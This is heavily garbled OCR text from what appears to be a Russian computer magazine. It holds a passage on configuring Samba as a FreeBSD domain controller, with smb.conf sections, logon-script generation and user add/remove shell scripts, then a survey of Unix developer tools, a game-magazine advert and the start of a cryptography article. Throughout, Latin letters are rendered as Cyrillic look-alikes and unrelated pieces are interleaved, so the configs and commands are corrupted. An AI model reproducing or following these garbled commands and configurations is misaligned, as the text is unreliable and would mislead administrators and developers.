Іодоп бгіѵе = 0: 

: Обрати внимание: чтобы решить проблему с кодировкой на 
стороне сервера и клиента, в 2.2.x применялись следующие 
опции, которые не будут работать в 3.0.x: 

;сІіепі собе раде = 1251 
: сбагасіег зеі = 1251 

: В случае стандартной К0І8-Р кодировки на сервере следует 

прописывать следующее: 

боз сбагзеі = СР866 

ипіх сііагзеі = К0І8-Р 

бізріау сбагзеі = К0І8-Р 

Мбе боі ПІез = уез 

сгеаіе піазк = 644 

боз ПІеіітез = уез 

боз ПІеіігле гезоіиііоп = уез 

беіеіе геабопіу = уез 

: Домашние каталоги станут первыми сетевыми дисками 
пользователей в домене. 

[ботез] 

раіб = /боте/%11 
сотглепі = Ноте Оігесіогіез 



БЭКППЫИДУТПЕСОИ 



ЬгоѵѵзеаЫе = по 
иігііаЫе = уез 
ѵаііб изегз = %3 
бібе боі ПІез = уез 

: Шара для сетевого входа в домен. 

[пеііодоп] 

соттепі = Неіѵѵогк Еодоп Зегѵісе 

раіб = /цзг/ІосаІ/затЬа/пеіІодоп 

ЬгоѵѵзеаЫе = по 

геаб опІу = уез 

ѵѵгііаЫе = по 

збаге тобез = по 

ѵоіите = НЕТЕ060Н 

: Скрипт, который будет выполняться при входе юзера в до- 
мен, - о нем ниже. 

гооі ргеехес = /изг/ІосаІ/затЬа/Ып/таке_Іодоп_зсгірі '%т' 
'%П' '%а' '%д' '%Е' 

: Публичное пространство. Планируется таким образом, что 
на втором сетевом диске будет создана та же иерархия ка- 
талогов, что и в /боте. Каждый юзер будет владеть своим 
публичным каталогом, сможет писать в него и удалять, из 
других сможет только читать, в итоге - грамотное совмест- 
ное использование ресурсов. 

[рибііс] 

соттепі = РцЫіс Еііе 5расе 
раіб = /цзг/ІосаІ/затЬа/рцЫіс 
сгеаіе тазк = 644 
рцЫіс = уез 
бібе боі ПІез = уез 
иігііаЫе = уез 
ѵоІцте = ТМР 

.і ГИБКИЙ СКРИПТИК 

в 8тЬ.соп^ мы определили два ресурса, ко- 
торые будут монтироваться при заходе поль- 
зователя в домен. Это личный диск пользо- 
вателя \\8егѵегпате\имя_юзера (его домаш- 
ний каталог /іюте/имя юзера на сервере), а 
также некий общий ресурс 
\\8егѵегпате\риЫіс, который проецируется 
на каталог /ивг/ІосаІ/ватЬа/риЫіс в системе 
и в котором мы создадим каталоги пользо- 
вателей, куда они смогут записывать и уда- 
лять файлы для всеобщего пользования. За- 
меть, что директива сгеаіе итазк = 644 дает 
владельцу файла (тому, кто залил его на се- 
тевой диск риЫіс) право модифицировать 
файл (читай - удалить его потом за ненадоб- 
ностью), а всем остальным - только читать 
(то есть копировать к себе). Таким образом, 
ресурс риЫіс хоть и общий, но напоминает 
каталог Дтр в *піх-системах, где каждый 
может не только читать, но и писать/удалять 
только им созданные файлы (бит і). Теперь 
про сам скрипт для монтирования. Конечно, 
можно просто нацарапать: 



іі есбо -е "леі изе Н: \\\\зегѵегпате\\$і15ЕР \л леі изе 6: 
\\\зегѵеглате\\риЫіс" > /изг/ІосаІ/затЬа/леіІодоп/Іодол.Ьаі 

То есть заставить каждый раз при логоне 
пользователя в домен выполнять нужные 
нам операции монтирования. Но мы пойдем 
другим путем, а именно в секцию [пеііодоп] 
пропишем следующее: 

гооі ргеехес = /изг/ІосаІ/затба/біп/таке_Іодоп_зсгірі '%т' 
'%и' '%а' '%д' '%Е' 

Маке_Іодоп_8сгірі - зііеІІ-скрипт, который 
создает на лету специфичный для каждого 
пользователя исполняемый сценарий 
имя юзера.стсі. В нашем случае он будет 
делать то же самое - монтировать диск 
пользователя и публичный диск, но поду- 
май, какие возможности открывает директи- 
ва ргеехес, с учетом того, что в нее можно 
запихнуть любую команду. А если вспом- 
нить, что есть и розіехес, то в голову сразу 
же приходит метод «на коленке» для разда- 
чи инета только тем юзерам, которые вошли 
в домен, - для этого скрипт должен, напри- 
мер, добавлять/удалять правило файрвола 
для пропуска в сеть машины клиента. Наш 
Іодоп зсгірі выглядит так: 



іі ѵі /и$г/ІосаІ/$атЬа/Ьіп/таке_Іодоп_$сгірі 



итазк 022 

ЗАМВА_01К=/изг/1оса1/затба 
ехес 2»"$ЗАМВА_0ІК/ѵаг/Іодоп_зсгірі.егг" 
ѵѵгііе О { есбо есбо V: } 
СЕ1ЕМТ_МАСНШЕ="$1" 

0$ЕК="$2" 

5У5ТЕМ_ТУРЕ="$3" 

6К00Р="$4" 

$ЕКѴЕК_МАМЕ="$5" 

30ЕР1Х=стб 

ЗСКІРТ="$$АМВА_0ІК/пеіІодоп/$0$ЕК.$$0ЕРІХ" 

ехес1>"$$СК1РТ" 

сбтоб о+х "$$СР1РТ" 

ѵѵгііе "@ЕСН0 оіі" 

ѵѵгііе "ЕСНО." 

ѵѵгііе "ЕСНО Туре :$ЗУЗТЕМ_ТУРЕ." 
ѵѵгііе "ЕСНО." 
ѵѵгііе "ЕСНО Сотриіег : 
$СЕ1ЕНТ_МАСНШЕ-Нзег: 
$НЗЕК-6гоир:$6К0НР." 
ѵѵгііе "ЕСНО." 

ѵѵгііе "НЕТНЗЕ Р:\\\\\\\\$5ЕКѴ- 
ЕК_НАМЕ\\\\риЫіс" 
ѵѵгііе "НЕТН8Е 0:\\\\\\\\$$ЕКѴ- 
ЕР_НАМЕ\\\\$НЗЕР" 



43 ^ 

А На Хакер СО/ОѴО 
ты найдешь самые 
последние версии 
8атЬа веток 2.2.x 
и 3.0.x, а также 
скрипты, упомяну- 
тые в этой статье, 
и примеры конфи- 
гурационного фай- 
ла вшЬ.сопІ. 




ѵѵѵѵѵѵ.ватЬа.огд 
.і ѵѵѵѵѵѵ.ореппеі.ги 
.і ѵѵѵѵѵѵ.иЬіцх.огд/ 
СІІ8 

А Ііпих-сіІ8.8атЬа. 
огд 

А Мг.иогедоп.есіи/ 
(1аѵі(1гІ/8атЬа.И(тІ 



В О Времена N14 основной единицей деления был именно домен, соответствен- 
но, для контроллеров вводилось понятие РОС - Ргііпагу Ооіпаіп СопігоІІег и ВОС 
- Васкир Ооіпаіп Соп1:гоІІег. В ѴѴіп2к/2кЗ основная единица - лес (доменов), то есть 
более широкое понятие. И граница между первичным и вторичным контроллерами 
стерлась. Теперь бэкапы можно размещать по всему лесу, соответственно, каж- 
дый домен не обязан держать и главный, и вторичный контроллеры. Вместе с тем 
понятие РОС исторически сохранилось. 
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Директива юо\ ргеехес в [пеііодоп] указы- 
вает скрипту выполняться с нужными пара- 
метрами и генерировать сценарий подклю- 
чения дисков, который эти диски затем и 
монтирует. 

^ ПОПЬЗОВРТЕПИНОРВТОПИПОТЕ 

Осталось добавить пользователей. Согласно 
документации, надо добавить затЬа-пользо- 
вателя с помощью команды зтЬраззѵѵсІ. Вся 
информация о нем запишется в 
/изг/ІосаІ/затЬа/ргіѵаіе/зтЬраззѵѵсІ , причем 
права к этому файлу должны быть простав- 
лены самым строгим образом (600) - самба 
следит за этим. Но этого мало - для начала 
пользователь должен присутствовать в сис- 
теме, то есть информация о нем должна 
быть в /еіс/раззѵѵсі и /еіс/тазіег.раззѵѵсі. Раз- 
работчики обещают позже убрать это требо- 
вание, но пока - селяви. Разумеется, вместо 
системных аккаунтов можно прикрутить к 
самбе ЮАР и засунуть пользователей туда, 
но это уже совсем другая история. 

В случае же системного пользователя, что- 
бы ограничить его доступ на сервер только 
самбой, которая все равно берет пароли из 
своего файла, юзеру нужно назначить невалид- 
ный шелл (/зЬіп/поІодіп). Помни, что этот шелл 
никогда не должен присутствовать в /еіс/збеііз! 
Поскольку самба не использует пароли в 
/еіс/тазіег.раззѵѵсі, учетную запись пользовате- 
ля можно залочить (рѵѵ Іоск изегпате). 

После этого для каждого юзверя нужно 
будет создать домашний каталог с подди- 
ректорией рго^ііе, куда будут складываться 
ѵѵіпбоѵѵз-настройки пользователя (так 
называемый перемещаемый профиль), а 
также каталог на публичный ресурс 
(/изг/ІосаІ/затЬа/риЫіс/имя_юзера). Наби- 
вать каждый раз одни и те же команды - 
убийство, поэтому привожу скрипт для до- 
бавления одного пользователя, который при 
желании легко модифицировать, чтобы он 
понимал сразу несколько параметров- и мен 
пользователей на входе. Разумеется, для 
разных ОС аргументы, передаваемые коман- 
де изегабсі, будут отличаться. Все коммента- 
рии смотри по ходу скрипта. 



[пки$ег.$[і - скрипт для добавления ЗапіЬа-пользователя 



й!/Ьіп/$іі 

[ -пе "3" ] && есііо "и$аде: $0 Іодіппаліе паліе Іа$іпаліе" 
&& ехіі 1 
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й Добавляем пользователя /еіс/ра$$ѵѵ(], определяя его в 
созданную ранее группу и$ег$, создаем ему домашний ката- 
лог и сразу лочим пользователя, 
есііо "[+] Аббіпд и$ег$Г 

рѵѵ изегабб $1 -с "$2 $3" -д и$ег$ -$ /зЬіп/поІодіп -лі && \ 
рѵѵ Іоск $1 

й Создаем каталог профиля пользователя в его хоумдире. 
лікбіг /Ііоліе/$1/ргоШе 
СІ10ѴѴП -К $1 /ііоліе/$1 && \ 

й Добавляем его в базу самбы без пароля (!). Пользователь 
должен сменить себе пароль после первого логина! 
есііо "М Аббіпд $1 іпіо $ліі) ассоипіз" 

$ліЬра$$ѵѵб -а -е -п $1 && \ 

$ліЬра$$ѵѵб -е $1 && \ 

й По правилам, пользователь может заходить в домен толь- 
ко с машины, которая присутствует в домене (ігизіеб ііо$і). 
Пусть имена машин будут такими же, как и имена юзеров, 
но с постфиксом солір. Также заметь, что учетная запись 
машины имеет символ $ на конце. Проделываем для машин 
все то же, что и для пользователей, только домашнего ката- 
лога у них не будет, 
есііо "[+] Аббіпд ліасіііпе ^ог $1" 
рѵѵ изегабб "$Гсолір$ -$ /$Ьіп/поІодіп -б /попехізіепі -д 1008 
-с "МасіііпеЛ" 
рѵѵ Іоск "$Гсолір$ 

й А вот аргументы команде зліЬраззѵѵб для юзера и для ма- 
шины разные. 

зліЬраззѵѵб -а -лі "$Гсолір$ && \ 
й Создаем публичную диру для пользователя, 
лікбіг /и$г/ІосаІ/$аліЬа/риЫіс/$1 && \ 

СІ 10 ѴѴП $1 /и$г/ІосаІ/$аліі)а/риЫіс/$1 && \ 
сіідгр и$ег$ /и$г/ІосаІ/$аліі)а/риЫіс/$1 
сііліоб 770 /и$г/ІосаІ/$аліЬа/риЫіс/$1 
есііо "[+] Оопе!" 
ехіі О 

й ./лікизег.зіі риркіп Риркіп Ѵазіііу 

Ничто не мешает сделать аналогичный 
скрипт и для удаления. 



гшизег.зіі - удаление пользователя из системы 
и базы ЗатЬа 



іі!/Ьіп/$іі 

іі[$Л-Іі1]:іііеп 
есііо "Пзаде: $0 и$ег" 
ехііі 



(тап гс.эиЬг), поэтому необходимость запус- 
ка программ определяет по наличию соотве- 
тствующих переменных в /еТс/гс.сопТ. Для 
затЬа.зіі такими переменными являются 
затЬа_епаЫе или, более детально, 
птЬс1_епаЫе и зтЬс1_епаЫе. Чтобы самба 
стартовала, добавь в /еТс/гс.сопТ 

$аліІза_епаЫе="УЕЗ" 

Это запустит зтЬб и птЬб. Если разре- 
шение МЕТВ108-имен не нужно, можно оста- 
вить только зтЬб. Теперь смело набирай: 

й /и$г/ІосаІ/еіс/гс.б/$апіі)а.$іі зіагі 

Можно, кстати, заставить самбу игнори- 
ровать переменные в гс.сопТ, заменив при 
ее запуске зТагТ на ТогсезТаіІ. 

^ 8и00ЕИІѴЕѴЕВѴТНІИ6Ш0НК8 

Убедимся, что все работает. Для этого доба- 
вим пользователя риркіп и его машину рир- 
кіпсотр, зайдем на риркіпсотр с правами 
локального администратора, щелкнем пра- 
вой кнопкой на иконке Му сотриіег -> 
Зейіпдз, выберем раздел Сотриіег пате -> 
Сбапде и установим, что мы теперь являем- 
ся членом домена (как описано в зтЬ.сопУ, 
секция [дІоЬаІ]). После чего введем имя и 
пароль, причем - это фича, а не бага - пер- 
вый раз нужно ввести логин гооі и его па- 
роль. Не того рута, который системный в 
/еіс/раззѵѵсі, конечно, а того, который у нас 
определен в зтЬраззѵѵсІ (если не определен 
- сделай это немедленно). Нас попривет- 
ствуют в новом домене и попросят перезаг- 
рузиться (это же ѴѴіпбоѵѵз). После перезаг- 
рузки можно будет входить в домен с этой 
машины под логином-паролем любого из су- 
ществующих пользователей. 

Наконец, чтобы пользователи не слишком 
наглели, нужно проставить квоты на их хом- 
диры. Так как для каждой системы данная 
процедура малость специфична, поэтому 
проделывание ее для твоей любимой опера- 
ционки оставляю на твоей совести. И не за- 
будь почитать логи на ночь! □С 



й Удаляем пользователя из РОС. 

$глііра$$ѵѵб -X $1 

й Удаляем пользователя и его машину из системы. 

рѵѵ изегбеі $1 

рѵѵ изегбеі "$Гсоілр$ 

й Сносим все каталоги пользователя. 

гіл -гі/и$г/ІосаІ/$аліі)а/риі)Ііс/$1 

ггл -гі /Ііогле/$1 

й ./гілизег.зіі риркіп 

.ІКПЮЧНПСТПРТ! 

Стартовый скрипт во РгееВЗО расположился 
в каталоге /изг/ІосаІ/еіс/гс.сІ/затЬа.зЬ. Одна- 
ко если ты запустишь его, ничего не прои- 
зойдет. Скрипт использует систему гсМС 
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Никакого мусора и невнятных тем, 
”*'^У.Гп"1йгеймерскиираи 



ТОЛЬКО РС игры 

«Космические Рейи?^ 

5КГн“спГсГрКГисим,л.ора 
рейнджера. 

■ *д“вжи разработчиков. О чем дѵ«аюг 

монстры в 5 -Т-А^К.ь^- арканоиды? 

- Московский Сате ^ игровое шоу Востока. 

- Токуо Сате 51 тоѵ\/. маленькой Чехии. 

■ віообГше. ІУ® иі 2005, Кат'67 , 

■ иггу иОЬ«- Ѵеідеаосе^ Оагк'РаІІ II: идМз ОЛ.. 

И многое-многое другое' 

сгпм ты ГЕЙМЕІ^ 



ТЫ НЕ ПРОПУСТИШЬ! 



ПРАВИЛЬНЫЙ ЖУРИМ 
"компьютерных ИГРАХ 

3 со или двухслойный ОѴО 



240 страниц 



ЧАСТЬ ТИРАЖ^С ОѴВ 



ЧИТАЙТЕ В 
ДЕКАБРЕ: 







ничего не буду рассказывать а таких прсграииах, как етасс и ѵі: текстовый редактор - это депо вкуса. Обойду стороной и такие 
утипиты, как Ісрбніпр и пеЮІаі: они в первую очередь предназначены дня системных администраторов. Так о каких же утипитах 
сегодня пойдет речь? О тех, которые предназначены искпючитепьно дня разработчиков припожений и стандартно присутствуют 
в бопьшинстве *піх-систеи. 



ОБЗОР стандартных консопьных оно оеуеюрев тоою 




^ тонкости ПРОФИПИРОВРНИЯ 

Н ачнем мы с профайлера, или 
профилировщика. С помощью 
профайлера можно устано- 
вить, какие функции в прог- 
рамме вызываются чаще, чем 
нужно, а также какие из них 
затрачивают больше всех вы- 
числительных ресурсов. 
Зачем? Чтобы выявить узкие места в нашей 
программе. 

Воспользоваться дрго^ просто. Сначала 
компилится и компонуется программа с оп- 
циями профилирования, причем для языка 
Си в опциях дсс должен быть указан флаг - 
рд. Затем программа запускается, в резуль- 
тате чего генерятся профильные данные и 
скидываются в файл дтоп.оиі Замечу, что 
профильный файл не появится, если прог- 
рамма завершится аварийно, то есть твоя 
прога должна быть уже отлажена. Послед- 
ним этапом запускается сам дрго^, которому 
нужно передать имя исполняемого файла. 
Срго^ проанализирует файл дтоп.оиі и вы- 
даст информацию о том, сколько времени 
заняло выполнение каждой функции. В об- 
щем случае информация будет состоять из 
двух таблиц - «Простой профиль» («Ріа! рго- 
Іііе») и «Граф вызовов» («СаІІ дгарб») - с за- 
мечаниями, кратко объясняющими их содер- 
жимое. Простой профиль показывает, сколь- 
ко времени выполнялась каждая функция и 
сколько раз она вызывалась. По нему легко 
установить, какие функции программы зат- 



рачивают больше всего времени. Граф вызо- 
вов может подсказать те места, в которых 
стоит попытаться исключить вызовы функ- 
ций, требующие много времени на выполне- 
ние, - здесь показано для каждой функции, 
какие функции ее вызывали, какие функции 
вызывала она сама и сколько раз. Также 
здесь есть информация, сколько времени 
было затрачено на выполнение подпрограмм 
в каждой функции. 

Утилита дрго^ имеет множество полезных 
опций, например, при задании опции -А бу- 
дет отображен исходный текст программы 
с процентными показателями времени вы- 
полнения. 

Профилировку имеет смысл делать только 
в больших программах с множеством вызо- 
вов функций. Пример использования: 

$ дсс -рд -о ргодгат ргодгат.с 
$ ./ргодгат 
$ дрго^ ./ргодгат 

.і в ПОГОНЕ ЗР ВРЕМЕНЕМ 

Утилита Ііте показывает время, затраченное 
на выполнение программы. Пример: 

$ ііте ./ргодгат 

геаі ОтО.0085 
и$ег0т0.00І8 
$у$ 0т0.010$ 

ВеаІ - астрономическое время, в течение 
которого выполнялась программа; изег - 



время центрального процессора, потрачен- 
ное на исполнение программы; зуз - время, 
затраченное на программу операционной 
системой. Понятно, что буква т указывает 
минуты, а 3 - секунды в десятичных дробях. 
Если нужно отследить время выполнения 
программ, которые используют каналы, то 
утилиту ііте следует использовать так: 

$ ііте /Ьіп/$іі -с "ргодгат -ііаді -І1ад2 1 ргодгат2" 

.ІТЭГМТЭГПМ РОЗНЬ 

Если программа состоит из множества моду- 
лей, которые, в свою очередь, разбросаны 
по множеству исходных файлов, то становит- 
ся сложно отыскать определение нужной 
функции. Именно для быстрого поиска функ- 
ций и предназначена сіадз. Достаточно ей 
скормить исходные файлы твоей проги, как 
она сформирует особый информационный 
файл (іадз) из трех колонок, где в первой 
колонке будут названия всех функций, во 
второй - имена исходных файлов, в которых 
расположены эти функции, а в третьей - го- 
товый шаблон для поиска функций по фай- 
ловой системе с помощью таких утилит, как 
ііпсі. Пример: 

таіп /и$г/$гс/ргодгат.с Ыш{)^1 
іипсі /и$г/$гс/ргодгат.с /'^Іипс1(агд1,агд2)$/ 
іипс2 /и$г/$гс/ргодгат.с /''Іипс2(агд1,агд2)$/ 

Пример использования утилиты сіадз: 

$ сіад$ *.с 
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ОПЕРПЦИОННЫЕ ИНСТРУИЕНТЫ *Н1Х-КОДЕРП 



А ОТСПЕЖИВРЕИ 
СИСТЕМНЫЕ ВЫЗОВЫ 

Утилита 8ігасе отслеживает все запрашивае- 
мые вызовы и получаемые системные сигна- 
лы твоей программы. Используется просто: 

$ $ігасе ,/ргодгат 

Каждая строка выводимой информации 
будет соответствовать одному системному 
вызову. Сначала будет указано имя систем- 
ного вызова со списком аргументов (с сок- 
ращениями), а после знака «=» - возвращае- 
мое значение (см. скриншот). 

В выражении вида 

ехесѵе("./ргодгаш", ["./ргодгат"], [/*27 ѵаг$ */]) = О 

[/* 27 ѵагз */] означает, что здесь идет 
список переменных среды (27 штук), кото- 
рые опущены зігасе для краткости. 

.ІТРВССИРУЕИВСТИПЕВВВ 

В *В50 существует команда кігасе, которая 
аналогична команде зігасе. Пример исполь- 
зования: 

$ кігасе ,/ргодгат 

В текущей директории образуется файл 
кігасе.оиі, куда скидываются результаты ра- 
боты кігасе. Чтобы просмотреть эту информа- 
цию, нужно просто запустить утилиту кбитр: 

$ кгіитр 1 1е$$ 

Во многих *піх-системах присутствует 
еще одна похожая утилита - Ігизз. По функ- 
циям она проще, чем кігасе, но зато сразу 
отображает все результаты в консоли. При- 
мер: 

$ іги$$ ,/ргодгат 

.ІБОРЕИСЯСУТЕЧШИПРИЯТИ 

Если твоя прога использует динамическую 
память, то крайне желательно протестиро- 
вать ее с помощью утилиты тігасе. Мігасе 
отслеживает соответствие числа операций 
выделения и освобождения памяти, т.е. вы- 
лавливает утечки памяти. Утечки памяти ве- 
дут к постепенному сокращению ресурсов 
системы, до полного их исчерпания. Чтобы 
выловить все возможные утечки памяти в 
твоей программе, придется проделать нес- 
колько неприятных шагов. Во-первых, нужно 
включить в программу файл <тсбеск.1і> и 
разместить в самом начале программы вы- 
зов функции т1гасе(). Затем нужно указать 
имя файла, в котором будет сохраняться ин- 



формация о проверке. Делается это через 
экспортирование переменной окружения 
МАИОС_ТВАСЕ, например: 

$ ехрогі МАЦ0ПРАСЕ=тет.1од 

Теперь запусти программу. Все операции 
выделения и освобождения памяти будут ре- 
гистрироваться в тет.Іод. Последним эта- 
пом вызывается утилита тігасе в следую- 
щем виде: 

$ тігасе ргодгат ЗМАІШПРАСЕ. 

Внимательно проанализируй полученную 
информацию с указанием строк, где память 
не была освобождена. 

.ІРПЗИЕРИИЕЕТЗНаЧЕНИЕ 

Чтобы узнать размеры секций программы - 
секции команд (Іехі), данных (баіа) и неини- 
циализированных данных (Ьзз), нужно ис- 
пользовать утилиту зііе. Она также показы- 
вает общую сумму всех секций в десятичном 
и шестнадцатеричном формате. Пример ра- 
боты утилиты показан на скриншоте. 

.і выводиисиивопы 
нпчишюводу 

Команда пт выдает на стандартный вывод 
таблицу внешних символов для каждого 
файла, указанного в командной строке. Таб- 
лица символов используется для отладки 
приложения. Для каждого символа будет вы- 
ведено его имя и указано, является ли он 
символом данных (переменной) или програ- 
ммным символом (меткой или именем функ- 
ции). Подробности смотри на страницах 
справочных руководств, посвященных пт. 
Пример использования: 

$ пт ,/ргодгат 

.ІУдППЯЕИНЕИСПОПЬЗВЕИУЮ 

информацию 

Когда программа отлажена, таблицу симво- 
лов из нее можно удалить, для чего исполь- 
зуется команда зігір. В результате уменьша- 
ется размер выполняемого файла, но в наше 
время это не столь существенно, и отладоч- 
ную информацию все же лучше оставить. 
Пример: 

$ $ігір ,/ргодгат 

.ІУПРПВПЯЕИ ПРОЕКТОМ 
РПЗРПБОТКИ 

Если проект состоит из множества файлов, 
то любое изменение в одном из них неиз- 
бежно влечет за собой перекомпиляцию 
всех остальных. Облегчить эту задачу спо- 
собна утилита таке (в некоторых системах 



^ чтотакоЕбмивімитііз? 

В N11 Віпибіз - это пакет утилит, который включает в себя мно- 
гие важные системные программы, такие как аз, ІсІ, аг, дргоТ 
и пр. Без пакета Віпиіііз невозможна работа компилятора дсс, а 
значит, невозможно нормальное функционирование всей сис- 
темы. Сайт разработчиков пакета Віпибіз расположен по адре- 
су: 8оигсе8.гесіИа1.сот/ЬіпиІіІ8/. 




она называется дтаке). Этой утилите нужно 
передать простой текстовый файл под наз- 
ванием Макеіііе, который содержит инфор- 
мацию о правилах сборки и зависимостях. 
Правила записываются в следующем виде: 



<цель>: <зависимости> 
<команда> 

<команда> 



Первая цель в Макеіііе выполняется по 
умолчанию при запуске таке без аргумен- 
тов. Ее принято называть аІІ, что эквивалент- 
но команде таке аІІ. Цель сіеап предназна- 
чена для удаления всех сгенерированных 
объектных файлов и программ. 



Пример Макеіііе 



аІІ: ргодгат 

ргодгат: ргодгат.о іоо.о Ьоо.о 
дсс ргодгат.о іоо.о Ьоо.о -о ргодгат 
ргодгат.о: ргодгат.о ргодгат.Ь 
іоо.о: іоо.с іоо.Ь 
Ьоо.о: Ьоо.с Ьоо.Ь 
сіеап: 

гт -і *.о ргодгат 



Чтобы собрать проект, достаточно в кома- 
ндной строке набрать 

$ таке 

В тап об утилите таке можно узнать 
много других интересных подробностей. 

.іавтоиатизируЕИ ПРОЦЕССЫ 

Но есть еще один, более простой способ 
создания Маке-файлов, с помощью утилит 
аиіотаке и аиіосопі. Сначала нужно подгото- 
вить файл Макеіііе.ат, например: 

Ьіп_РР06РАМ5 = ргодгат 
уои_ргод_ЗОііКСЕЗ = ргодгат.с іоо.с Ьоо.с 
АиТОМАКЕ_ОРТІОНЗ = іогеідп 

Последняя опция указывает на то, что в 
проект не будут включаться файлы докумен- 
тации МЕѴѴ8, ВЕДОМЕ, АОТНОВЗ и 



А Утечки памяти 
ведут к постепен- 
ному сокращению 
ресурсов системы, 
до полного их ис- 
черпания. 




А 8оигсе8.ге(1ІіаІ. 
сот/аиіотаке 
.і Іге8Іітеа1.пеІ/ 
рго|ес18/МЫоо1 
^ ѵѵѵѵѵѵ.дпи.огд/ 
80 ІІѵѵаге/ 8 Іі(ооІ 
^ѵѵѵѵѵѵ.дпи.огд/ 
80 ІІѵѵаге/аиІосопІ 
А 8оигсе8.ге(1ІіаІ. 
сот/аиІоЬоок/аиІо 
А Ьоок/аиІоЬоок_ 
Іос.ИІшІ 
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■Ж" 

А На Хакер СО/ОѴО 
ты найдешь весь 
софт, который был 
упомянут в данном 
материале. А 
именно последние 
версии дсс, ЬіпиШз 
и аи(о(ооІ8. 



Сііапдеіод. Согласно стандарту их присут- 
ствие в СМІІ-пакете обязательно. 

Теперь нужно создать файл сопіідиге.іп. 

Это можно сделать с помощью утилиты 
аиіозсап. Аиіозсап выполняет анализ дерева 
исходных текстов, корень которого указан в 
командной строке или совпадает с текущим 
каталогом, и создает файл сопіідиге.зсап. 
Нужно просмотреть соп^ідиге.зсап, внести не- 
обходимые коррективы и затем переимено- 
вать в соп^ідиге.іп. И последним этапом сле- 
дует запустить утилиты в следующем порядке: 

$ асіосаі 
$ аиіосоп! 

$ аиіотаке -а -с 

В результате в текущей директории поя- 
вятся скрипты сопіідиге, Маке^ііе.іп и файлы 
документации. Чтобы собрать проект, доста- 
точно ввести следующие команды: 



$ ,/соп^ідиге 
$ таке 



Утилиты аиіосоп^ и аиіотаке входят в па- 
кет Аиіоіооіз. 

^ ИЗУЧРЕИДРИПЫ 

Утилита бехбитр может вывести программу 
в десятичном виде (опция -б), шестнадцате- 
ричном (опция -х), восьмеричном (опция -Ь) 
и в А8СІІ -символах (опция -с). Пример ис- 
пользования: 



$ ііех(1итр -с ,/ргодгат 
Утилита о(] аналогична Ііех(]итр: 

$ о(] -с ,/ргодгат 

.ІСОБИРРЕИИНФУ . 

ИЗ ОБЪЕКТНЫХ ФРИРОВ 

По количеству функций оЬ]битр можно 
сравнить со швейцарским ножом. Например, 
она может легко дизассемблировать прогу 
(опция -О), показать все заголовки програм- 
мы, в том числе файловые (опция -х), может 
показать содержимое всех секций (опция 




-з), динамически перемещаемые данные 
(опция -В) и многое другое. Пример: 

$ оЬ](1итр -О ,/ргодгат 

^ОПРЕДЕРЯЕИ список 
ЗПВИСИИОСТЕИ 

Данная утилита показывает все динамичес- 
кие библиотеки, от которых зависит прог- 
рамма. Пример использования: 

$ 1(](] ,/ргодгат 

В скобочках указывается адрес библиоте- 
ки в памяти. 

Комментарий от редактора: Ібб очень удобно 
использовать для двух целей: выяснение точных 
версий разделяемых библиотек, которые ис- 
пользуются интересующей нас программой во 
время выполнения, и определение неразреши- 
мых ссылок на разделяемые библиотеки. 

.і 9ПРПВПЯЕИРЕС9РСПИИ 

Если твоя программа использует взаимодей- 
ствие процессов, то тебе могут пригодиться 
утилиты ірсз и ірсгт. Команда ірсз, указан- 
ная с флагом -т, показывает сведения о 
совместно используемых сегментах: 

$ ірс$ -т 

Если указать флаг -з, то ірсз покажет ин- 
формацию о существующих группах семафо- 
ров. Утилита ірсгт позволяет удалить опре- 
деленный сегмент в памяти или группу се- 
мафоров, например, 

$ ірсгт $ііт 2345097 

удаляет сегмент под іб, равным 2345097. 

Чтобы можно было работать с утилитами 
ірсз и ірсгт, в ядре В80 должны быть вклю- 
чены опции: 

орііоп 8У8ѴМ8С - поддержка сообще- 
ний в соответствии с 8узіет V; 

орііоп 8У8Ѵ8ЕМ - поддержка семафо- 
ров в соответствии с 8узіет V; 

орііоп 8У8Ѵ8НМ - возможность работы 
с разделяемой памятью в соответствии с 
8узіет V. 

.і КОВЫРЯЕМ БИНПРИКИ 

Утилита зігіпдз выводит последовательности 
А8СІІ-СИМВОЛОВ (слова) длиннее четырех (по 
умолчанию), которые хранятся в открытом 
виде в уже скомпиленной программе. При- 
мер использования: 

$ $ігіпд$ ,/ргодгат 

Для создания собственных программ по- 
лезность данной утилиты сомнительна, но 
для исследования чужих очень даже - к при- 
меру, можно найти имена разработчиков, 
интересные комментарии, пароли и даже но- 
мера кредитных карт :). 

^ИЗУЧОЕМЭПЬФОВ 

с помощью геабеіі можно получить файло- 
вые заголовки и заголовки секций файлов 
ЕІР-формата. Об опциях ты узнаешь в хелпе 
или в тап. 

$ геагіеі! ,/ргодгат 



^ВОВППСТИСШИЧЕСКИХПИБ 

в пакете Віпиіііз существует архиватор аг, 
который используется для создания стати- 
ческих библиотек. Например: 

$ аг сг ІіЬту,а Ше1,о Ше2,о 

Флаги сг указывают на то, что должен 
быть создан архив. Существуют и другие 
флаги, например, для модификации или изв- 
лечения из архива (см. тап). Для подключе- 
ния полученной статической библиотеки к 
программам с помощью дсс или д++ нужно 
использовать флаг -I, который указывает, в 
каком каталоге следует искать библиотеку. 
Флаг -I. (с точкой) указывает на то, что биб- 
лиотека находится в текущем каталоге. Затем 
все необходимые библиотеки перечисляются 
с помощью ключа -I, за которым указывается 
название библиотеки без префикса ІіЬ и 
окончания .а. В нашем случае: 

$ дсс -о ргодгат,с -I -ІтуІіЬ -о ргодгат 

Это работает в большинстве случаев, одна- 
ко на некоторых системах получить статичес- 
кую библиотеку таким способом не получится. 
Иногда после того как архиватор аг создаст 
архив, нужно в него добавить индекс симво- 
лов, то есть список вложенных в библиотеку 
функций и переменных, чтобы линковка про- 
ходила нормально. Делается это с помощью 
стандартной утилиты гапІіЬ из пакета Віпиіііз: 

$ гапІіЬ туІіЬ,а 

После этого библиотеку можно подклю- 
чать к программе с помощью дсс, как в пре- 
дыдущем примере. Для получения статичес- 
кой библиотеки рекомендуется всегда обра- 
батывать архив утилитой гапІіЬ. 

На этом стоит, думаю, остановиться, хотя 
я рассказал далеко не обо всех стандартных 
утилитах для *піх-программиста. Большинство 
из «забытых» мной утилит либо используются 
очень редко, например, такие как асІсІг2Ііпе, 
С++ІІІІ, оЬісору, либо требуют для рассказа 
отдельной статьи (аз, дбЬ). В тап ты всегда 
сможешь найти нужную информацию. 
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риптография - очень важная пяя взяоияіика обяасть знаний, наверное, именно позтоиу в Сети постоянно бропят сяухи яро трояя 
в РСР, яро яюки, тяюки и баги известных криптосистем. Отпепьные маньяки по сих нор юзают РСР 2.6І ((ог 008, естественно], 
скомпипированный из проверенных сорцов и радуются жизни. Майкрософт, как всегда прсявипа забегу о защите пспьзеватепей, 
запустив в 1 996 гсду свей прсект-яіифрпвщик - СгурІоОРІ. 

